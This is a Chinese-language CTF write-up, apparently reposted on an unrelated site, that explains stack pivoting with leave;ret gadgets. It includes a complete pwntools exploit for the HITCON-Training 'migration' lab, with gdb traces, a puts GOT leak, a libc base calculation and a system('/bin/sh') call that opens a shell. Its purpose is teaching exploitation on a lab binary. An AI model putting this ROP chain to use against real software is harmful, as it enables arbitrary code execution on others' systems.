糖尿病康复,内容丰富有趣,生活中的好帮手!
糖尿病康复 > 栈迁移过程记录 栈指针rsp rbp rip leave变化过程

栈迁移过程记录 栈指针rsp rbp rip leave变化过程

时间:2022-06-26 08:11:08

相关推荐

栈迁移过程记录 栈指针rsp rbp rip leave变化过程

栈迁移

利用条件:

能对bss段进行操作(可写、可执行)有必要的ROP可用

通过ROP leave_ret 改变ebp的值伪造栈,到达栈迁移的目的。下面就一个题目的一个payload进行调试,逐指令理解栈迁移的过程。这里只是通过ROP来实现,还有一种是通过ROP,向bss段伪造栈,这个以后再说。

64位程序,脚本的一部分payload:

stack=rbp-0x70 #指向当前栈顶# ROPgadget --binary easy_ad --only "pop|ret" | grep rdipop_rdi_ret=0x400953 fun_addr=0x400756leave_ret=0x4007B5put_plt=0x4005D0p.send('11111111'+p64(pop_rdi_ret)+p64(elf.got['puts'])+p64(put_plt)+p64(fun_addr)+5 * '11111111'+p64(stack)+p64(leave_ret))

首先运行到发送payload的地方,查看栈的布局:

rbp、rsp、rip:

RBP: 0x7ffe699c88b0 --> 0x7ffe699c8860 ("11111111S\t@")RSP: 0x7ffe699c8860 ("11111111S\t@")RIP: 0x4007b5 (<vul+95>:leave)0x4007aa <vul+84>:mov edi,0x00x4007af <vul+89>:call 0x400600 <read@plt>0x4007b4 <vul+94>:nop=> 0x4007b5 <vul+95>:leave 0x4007b6 <vul+96>:ret 0x4007b7 <magic>:push rbp0x4007b8 <magic+1>:mov rbp,rsp0x4007bb <magic+4>:mov edi,0x40097egdb-peda$ stack 150000| 0x7ffe699c8860 ("11111111S\t@")0008| 0x7ffe699c8868 --> 0x400953 (<__libc_csu_init+99>:pop rdi)0016| 0x7ffe699c8870 --> 0x601018 --> 0x7fd08350d6a0 (<_IO_puts>:push r12)0024| 0x7ffe699c8878 --> 0x4005d0 (<puts@plt>:jmp QWORD PTR [rip+0x200a42] # 0x601018)0032| 0x7ffe699c8880 --> 0x400756 (<vul>:push rbp)0040| 0x7ffe699c8888 ('1' <repeats 40 times>, "`\210\234i\376\177")0048| 0x7ffe699c8890 ('1' <repeats 32 times>, "`\210\234i\376\177")0056| 0x7ffe699c8898 ('1' <repeats 24 times>, "`\210\234i\376\177")0064| 0x7ffe699c88a0 ('1' <repeats 16 times>, "`\210\234i\376\177")0072| 0x7ffe699c88a8 ("11111111`\210\234i\376\177")0080| 0x7ffe699c88b0 <--rbp--> 0x7ffe699c8860 ("11111111S\t@")<--rsp0088| 0x7ffe699c88b8 --> 0x4007b5 (<vul+95>:leave)<--返回值

通过泄露rbp得到rbp为0x7ffe699c88d0,通过栈溢出将返回值填充为栈rbp-0x70处,即当前的rsp,这里看到当前rbp–>0x7ffe699c8860 (“11111111S\t@”),0x70是栈的大小,此时我们就将栈顶复制到了rbp的位置,相当于伪造的rbp。接下来执行leave,leave==>mov rsp,rbp;pop rbp

这里说一下栈返回操作,当执行leave 将当前rbp的值赋值给rsp,之后pop rbp将rbp出栈,恢复之前的栈帧,对于 RIP指向的是下一条指令,RSP+1,相当于栈的下一位,执行leave后,栈如下:

RBP: 0x7ffe699c8860 ("11111111S\t@")RSP: 0x7ffe699c88b8 --> 0x4007b5 (<vul+95>:leave)RIP: 0x4007b6 (<vul+96>:ret)0x4007af <vul+89>:call 0x400600 <read@plt>0x4007b4 <vul+94>:nop0x4007b5 <vul+95>:leave => 0x4007b6 <vul+96>:ret 0x4007b7 <magic>:push rbp0x4007b8 <magic+1>:mov rbp,rsp0x4007bb <magic+4>:mov edi,0x40097e0000| 0x7ffe699c88b8 --> 0x4007b5 (<vul+95>:leave)0008| 0x7ffe699c88c0 --> 0x32 ('2')0016| 0x7ffe699c88c8 --> 0x0 0024| 0x7ffe699c88d0 --> 0x4008f0 (<__libc_csu_init>:push r15)

此时执行leave后,将rsp修改为rbp+1的内容0x7ffe699c88b0 +8=0x7ffe699c88b8(rsp=rbp,后向下移动),rbp出栈变为0x7ffe699c8860,rip指向下一条指令ret,此时在执行ret指令将返回到我们构造好的leave_ret处,再一次leave_ret主要是为了利用伪造的栈里的数据,达到我们的目的,执行ret后栈如下:

RBP: 0x7ffe699c8860 ("11111111S\t@")RSP: 0x7ffe699c88c0 --> 0x32 ('2')RIP: 0x4007b5 (<vul+95>:leave)0x4007af <vul+89>:call 0x400600 <read@plt>0x4007b4 <vul+94>:nop=> 0x4007b5 <vul+95>:leave 0x4007b6 <vul+96>:ret 0x4007b7 <magic>:push rbp0x4007b8 <magic+1>:mov rbp,rsp0000| 0x7ffe699c88c0 --> 0x32 ('2')0008| 0x7ffe699c88c8 --> 0x0 0016| 0x7ffe699c88d0 --> 0x4008f0 (<__libc_csu_init>:push r15)0024| 0x7ffe699c88d8 --> 0x7fd0834be840 (<__libc_start_main+240>:

看到,如我们猜想,返回到了leave_ret处,RSP已经变成原来栈里的数据了,再次执行leave,将RSP的值变成RBP,向下移动一位变成0x7ffe699c8860+8=0x7ffe699c8868,即构造的ROP :pop rdi;ret处,RBP出栈变成“11111111”,RIP指向RET,执行后如下,验证是否正确:

RBP: 0x3131313131313131 ('11111111')RSP: 0x7ffe699c8868 --> 0x400953 (<__libc_csu_init+99>:pop rdi)RIP: 0x4007b6 (<vul+96>:ret)0x4007b4 <vul+94>:nop0x4007b5 <vul+95>:leave => 0x4007b6 <vul+96>:ret 0x4007b7 <magic>:push rbp0x4007b8 <magic+1>:mov rbp,rsp0x4007bb <magic+4>:mov edi,0x40097e0x4007c0 <magic+9>:call 0x4005e0 <system@plt>[------------------------------------stack-------------------------------------]0000| 0x7ffe699c8868 --> 0x400953 (<__libc_csu_init+99>:pop rdi)0008| 0x7ffe699c8870 --> 0x601018 --> 0x7fd08350d6a0 (<_IO_puts>:push r12)

可以看到,符合预期,接下来ret会返回到pop rdi的地方执行我们构造好的ROP链去泄露puts的地址,此时就相当于赋值了之前栈的内容,这就是栈迁移的关键地方,两个leave_ret来实现,第一次leave_ret是为了保存栈顶,恢复栈顶(构造的假栈顶),第二次leave_ret是为了跳转到栈顶,利用栈里的内容。

通过调试跟踪,和对栈的指针,寄存器的执行流程要了解,这里的内容就不难理解。

32位栈迁移到bss

例子是HITCON-Traing lab6,可以到这里下载

栈迁移到bss,通过read函数构造栈数据,主要原理就是运用leave ret去控制ebp的值,进而去控制rbp的值,通过两次leave ret实现伪造栈数据执行。

int __cdecl main(int argc, const char **argv, const char **envp){char buf[40]; // [esp+0h] [ebp-28h] BYREFif ( count != 1337 )exit(1);++count;setvbuf(_bss_start, 0, 2, 0);puts("Try your best :");return read(0, buf, 0x40u);}

这道题漏洞点很明显,是栈溢出,我们可以通过多次构造栈迁移,将栈迁移到bss段,伪造数据获得libc基址,获得shell。

还是通过调试脚本来理解:

#!/usr/bin/python# -*- coding:utf-8 -*-from pwn import *context.log_level = 'debug'context.terminal = ['terminator','-x','sh','-c']p = process('./migration')elf = ELF("./migration")libc = ELF("/lib/i386-linux-gnu/libc.so.6")def dbg(address=0):if address==0:gdb.attach(p)pause()else:if address > 0xfffff:script="b *{:#x}\nc\n".format(address)else:script="b *$rebase({:#x})\nc\n".format(address)gdb.attach(p, script)system_libc = libc.symbols["system"]print "system_libc:"+hex(system_libc)read_plt = elf.plt["read"]print "read_plt:"+hex(read_plt)puts_got = elf.got["puts"]print "puts_got:"+hex(puts_got)puts_plt = elf.plt["puts"]print "puts_plt:"+hex(puts_plt)puts_libc = libc.symbols["puts"]print "puts_libc:"+hex(puts_libc)binsh_libc= libc.search("/bin/sh").next()print "binsh_libc:"+hex(binsh_libc)dbg()leave_ret = 0x08048418 #程序内部的p3ret = 0x08048569 #pop esi ; pop edi ; pop ebp ; retp1ret = 0x0804836d #pop_ebx_retbuf1 = elf.bss() + 0x500 buf2 = elf.bss() + 0x400 payload = 'a'*40payload +=p32(buf1)+p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf1)+p32(0x100)p.recvuntil(" :\n")p.send(payload)#gdb.attach(p)#sleep(0.1)payload=p32(buf2)+p32(puts_plt)+p32(p1ret)+p32(puts_got)+p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf2)+p32(0x100)p.send(payload)#gdb.attach(p)#sleep(0.1)puts_addr =u32(p.recv(4))print "puts_addr:"+hex(puts_addr)offset = puts_addr - puts_libcsystem_addr = system_libc + offsetbinsh = binsh_libc +offset'''payload =p32(buf1)+p32(read_plt)+p32(p3ret)+p32(0)+p32(buf1)+p32(0x100)+p32(system_addr)+p32(0xdeadbeef)+p32(buf1)p.send(payload)sleep(0.1)#p.send("/bin/sh\0")p.interactive()'''#gdb.attach(p)payload =p32(buf1)+p32(system_addr)+"bbbb"+p32(binsh)p.send(payload)#sleep(0.1)p.interactive()"""0x08048418 : leave ; ret#用于返回栈0x0804836d : pop ebx ; ret #p1ret 用于放参数0x08048569 : pop esi ; pop edi ; pop ebp ; ret #p3ret 用于平衡栈,从而继续执行后面的rop"""

第一段payload:

payload = 'a'*40payload +=p32(buf1)+p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf1)+p32(0x100)p.recvuntil(" :\n")p.send(payload)

通过填充将ebp覆盖成buf1(bss+0x500),后面是readplt+leaveret+read参数,在执行过ebp后main函数的leave ret会将esp=ebp(buf1),esp指向buf1的下一地址,即readplt,pop ebp后,ebp指向buf1:

gdb调试界面,获得一些plt got libc地址供参考:

[DEBUG] PLT 0x17748 free[*] '/lib/i386-linux-gnu/libc.so.6'Arch:i386-32-littleRELRO: Partial RELROStack: Canary foundNX: NX enabledPIE:PIE enabledsystem_libc:0x3adb0read_plt:0x8048380puts_got:0x8049ff0puts_plt:0x804838cputs_libc:0x5fcb0binsh_libc:0x15bb0b[DEBUG] Wrote gdb script to '/tmp/pwngI_Zik.gdb'leave_ret = 0x08048418p3ret = 0x08048569 #pop esi ; pop edi ; pop ebp ; retp1ret = 0x0804836d #pop_ebx_ret

执行leave前,0x804a50c 为buf1:

EBP: 0xffbe0df8 --> 0x804a50c --> 0x0 ESP: 0xffbe0dd0 ('a' <repeats 40 times>, "\f\245\004\b\200\203\004\b\030\204\004\b")EIP: 0x8048504 (<main+89>:leave)EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------]0x80484ff <main+84>:add esp,0xc0x8048502 <main+87>:nop0x8048503 <main+88>:nop=> 0x8048504 <main+89>:leave 0x8048505 <main+90>:ret 0x8048506:xchg ax,ax0x8048508:xchg ax,ax0x804850a:xchg ax,ax[------------------------------------stack-------------------------------------]0000| 0xffbe0dd0 ('a' <repeats 40 times>, "\f\245\004\b\200\203\004\b\030\204\004\b")0004| 0xffbe0dd4 ('a' <repeats 36 times>, "\f\245\004\b\200\203\004\b\030\204\004\b")0008| 0xffbe0dd8 ('a' <repeats 32 times>, "\f\245\004\b\200\203\004\b\030\204\004\b")0012| 0xffbe0ddc ('a' <repeats 28 times>, "\f\245\004\b\200\203\004\b\030\204\004\b")

执行后,ebp指向buf1,esp指向0x8048380 (readplt,符合预期):

EBP: 0x804a50c --> 0x0 ESP: 0xffbe0dfc --> 0x8048380 (jmp DWORD PTR ds:0x8049fe8)EIP: 0x8048505 (<main+90>:ret)EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------]0x8048502 <main+87>:nop0x8048503 <main+88>:nop0x8048504 <main+89>:leave => 0x8048505 <main+90>:ret 0x8048506:xchg ax,ax0x8048508:xchg ax,ax0x804850a:xchg ax,ax0x804850c:xchg ax,ax[------------------------------------stack-------------------------------------]0000| 0xffbe0dfc --> 0x8048380 (jmp DWORD PTR ds:0x8049fe8) readplt0004| 0xffbe0e00 --> 0x8048418 (<deregister_tm_clones+40>:leave) read返回值:leave ret0008| 0xffbe0e04 --> 0x0 --|0012| 0xffbe0e08 --> 0x804a50c --> 0x0 |->read参数0016| 0xffbe0e0c --> 0x100 --|0020| 0xffbe0e10 --> 0x0 0024| 0xffbe0e14 --> 0x0 0028| 0xffbe0e18 --> 0xf7f6f000 --> 0x1b2db0

之后执行ret,会返回到read,去接收第二段payload

payload=p32(buf2)+p32(puts_plt)+p32(p1ret)+p32(puts_got)+p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf2)+p32(0x100)

在接收完第二段payload后会执行我们构造的leave ret=0x08048418,下面是read完第二段payload后,未执行leave:

EBP: 0x804a50c --> 0x804a40c --> 0x0 ESP: 0xffbe0e04 --> 0x0 EIP: 0x8048418 (<deregister_tm_clones+40>:leave)EFLAGS: 0x203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------]0x804840e <deregister_tm_clones+30>:push 0x804a00c0x8048413 <deregister_tm_clones+35>:call eax0x8048415 <deregister_tm_clones+37>:add esp,0x10=> 0x8048418 <deregister_tm_clones+40>:leave 0x8048419 <deregister_tm_clones+41>:repz ret 0x804841b <deregister_tm_clones+43>:nop

现在ebp指向buf1,但bss段buf1处的值被我们填充成了buf2的地址,EIP指向下条指令leave,执行leave后,esp=ebp,esp下移一位到putplt=0x804838c ,pop ebp后ebp指向buf2=0x804a40c ,如下:

EBP: 0x804a40c --> 0x0 <--buf2ESP: 0x804a510 --> 0x804838c (add al,0x8) <--putpltEIP: 0x8048419 (<deregister_tm_clones+41>:repz ret)EFLAGS: 0x203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------]0x8048413 <deregister_tm_clones+35>:call eax0x8048415 <deregister_tm_clones+37>:add esp,0x100x8048418 <deregister_tm_clones+40>:leave => 0x8048419 <deregister_tm_clones+41>:repz ret 0x804841b <deregister_tm_clones+43>:nop0x804841c <deregister_tm_clones+44>:lea esi,[esi+eiz*1+0x0]0x8048420 <register_tm_clones>:mov eax,0x804a00c0x8048425 <register_tm_clones+5>:sub eax,0x804a00c[------------------------------------stack-------------------------------------]0000| 0x804a510 --> 0x804838c (add al,0x8)putplt0004| 0x804a514 --> 0x804836d (<_init+33>:pop ebx) pop_edx_ret0008| 0x804a518 --> 0x8049ff0 --> 0xf7e1bcb0 (<_IO_puts>:push ebp) putgot0012| 0x804a51c --> 0x8048380 (jmp DWORD PTR ds:0x8049fe8) readplt0016| 0x804a520 --> 0x8048418 (<deregister_tm_clones+40>:leave)leave ret0020| 0x804a524 --> 0x0 0024| 0x804a528 --> 0x804a40c --> 0x0 参数0028| 0x804a52c --> 0x100

执行完ret后,返回到puts函数,输出putgot地址,之后将putsgot弹出栈,ret返回到readplt,如下:

EBP: 0x804a40c --> 0x0buf2ESP: 0x804a518 --> 0x8049ff0 --> 0xf7e1bcb0 (<_IO_puts>:push ebp)EIP: 0x804836d (<_init+33>:pop ebx)EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------]0x8048363 <_init+23>:je0x804836a <_init+30>0x8048365 <_init+25>:call 0x80483980x804836a <_init+30>:add esp,0x8=> 0x804836d <_init+33>:pop ebx0x804836e <_init+34>:ret 0x804836f:add bh,bh0x8048371:xor eax,0x8049fe00x8048376:jmp DWORD PTR ds:0x8049fe4[------------------------------------stack-------------------------------------]0000| 0x804a518 --> 0x8049ff0 --> 0xf7e1bcb0 (<_IO_puts>:push ebp) 即将弹出栈,ret返回到readplt0004| 0x804a51c --> 0x8048380 (jmp DWORD PTR ds:0x8049fe8) readplt0008| 0x804a520 --> 0x8048418 (<deregister_tm_clones+40>:leave)0012| 0x804a524 --> 0x0 0016| 0x804a528 --> 0x804a40c --> 0x0 0020| 0x804a52c --> 0x100

返回到read后继续接收第三段payload

payload =p32(buf1)+p32(system_addr)+"bbbb"+p32(binsh)

然后执行leave ret,执行之前ebp=buf2,但因为我们在buf2(ebp)处填充的是buf1,所以现在是buf2处内容为buf1地址,执行leave后,esp=ebp,esp下移,指向system,ebp指向buf1,如下:

EBP: 0x804a50c --> 0x804a40c (0x0804a50c) ESP: 0x804a410 --> 0xf7df6db0 (<__libc_system>:sub esp,0xc)EIP: 0x8048419 (<deregister_tm_clones+41>:repz ret)EFLAGS: 0x217 (CARRY PARITY ADJUST zero sign trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------]0x8048413 <deregister_tm_clones+35>:call eax0x8048415 <deregister_tm_clones+37>:add esp,0x100x8048418 <deregister_tm_clones+40>:leave => 0x8048419 <deregister_tm_clones+41>:repz ret 0x804841b <deregister_tm_clones+43>:nop0x804841c <deregister_tm_clones+44>:lea esi,[esi+eiz*1+0x0]0x8048420 <register_tm_clones>:mov eax,0x804a00c0x8048425 <register_tm_clones+5>:sub eax,0x804a00c[------------------------------------stack-------------------------------------]0000| 0x804a410 --> 0xf7df6db0 (<__libc_system>:sub esp,0xc)system_addr0004| 0x804a414 ("bbbb\v{\361\367\223\034\351\367`\375\366\367\301P\342\367\001") system返回值填充0008| 0x804a418 --> 0xf7f17b0b ("/bin/sh") system参数bin/sh0012| 0x804a41c --> 0xf7e91c93 (<__write_nocancel+25>:pop ebx)0016| 0x804a420 --> 0xf7f6fd60 --> 0xfbad2887 0020| 0x804a424 --> 0xf7e250c1 (<_IO_new_file_write+97>:add esp,0x10)0024| 0x804a428 --> 0x1 0028| 0x804a42c --> 0xf7f6fda7 --> 0xf708700a

到这里在执行ret就会返回到system函数,执行system(“bin/sh”)获得shell。

-------------------------------------code-------------------------------------]0xf7df6da7 <cancel_handler+231>:pop ebp0xf7df6da8 <cancel_handler+232>:ret 0xf7df6da9:lea esi,[esi+eiz*1+0x0]=> 0xf7df6db0 <__libc_system>:sub esp,0xc0xf7df6db3 <__libc_system+3>:mov eax,DWORD PTR [esp+0x10]0xf7df6db7 <__libc_system+7>:call 0xf7edbc5d <__x86.get_pc_thunk.dx>0xf7df6dbc <__libc_system+12>:add edx,0x1782440xf7df6dc2 <__libc_system+18>:test eax,eax

exp运行结果:

$ ls[DEBUG] Sent 0x3 bytes:'ls\n'[DEBUG] Received 0x61 bytes:'core\t migration\t migration.c peda-session-migration.txt\n''makefile migration1.py migration.py\n'coremigrationmigration.c peda-session-migration.txtmakefile migration1.py migration.py$

总结利用流程:

溢出填充ebp=buf1,将ebp迁移到bss段。利用read函数构造栈数据(payload2)leave ret重新溢出ebp为buf2(bss),利用payload2泄露puts函数地址,计算libc基址。再次构造栈数据(payload3)leave ret重新溢出ebp为buf1(bss),利用payload3获得shell。

64位栈迁移

64位栈迁移和32位差不多,只不过64位是通过寄存器进行传参,64位程序 传参的时候是 从左到右 依次放入 寄存器:rdi,rsi,rdx,rcx,r8,r9 ,当参数大于等于 7 的时候 后面参数会依次 从右向左 放入栈中!其实最开始的那个程序就是64位的栈迁移!

参考连接

栈迁移到bss段:/yichen115/p/12450517.html

如果觉得《栈迁移过程记录 栈指针rsp rbp rip leave变化过程》对你有帮助,请点赞、收藏,并留下你的观点哦!

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。